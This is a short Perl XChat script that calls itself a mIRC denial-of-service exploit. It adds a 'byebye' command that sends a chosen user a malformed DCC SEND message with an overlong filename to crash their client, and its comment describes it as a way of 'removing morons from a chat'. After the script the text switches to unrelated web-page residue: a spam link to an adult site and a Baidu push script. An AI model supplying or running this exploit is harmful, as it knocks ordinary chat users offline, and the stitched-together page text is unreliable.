#!/usr/bin/perl -w
# by L0stm4n <lostman[at]liquidcode.org
# DoS for mirc packaged in a nice xchat script
# Useful for removing morons from a chat

IRC::register("mirc exploit", "1.0", "", "");
IRC::print("\0034mirc exploit loaded \003");
IRC::add_command_handler("byebye", "killem");

sub killem {
	$killee = shift(@_);
	IRC::send_raw("PRIVMSG $killee :\01DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a\" 1079095848 666\01");
	return 1;
}
0;
<a href="http://www.qqdpw.com/">97av</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>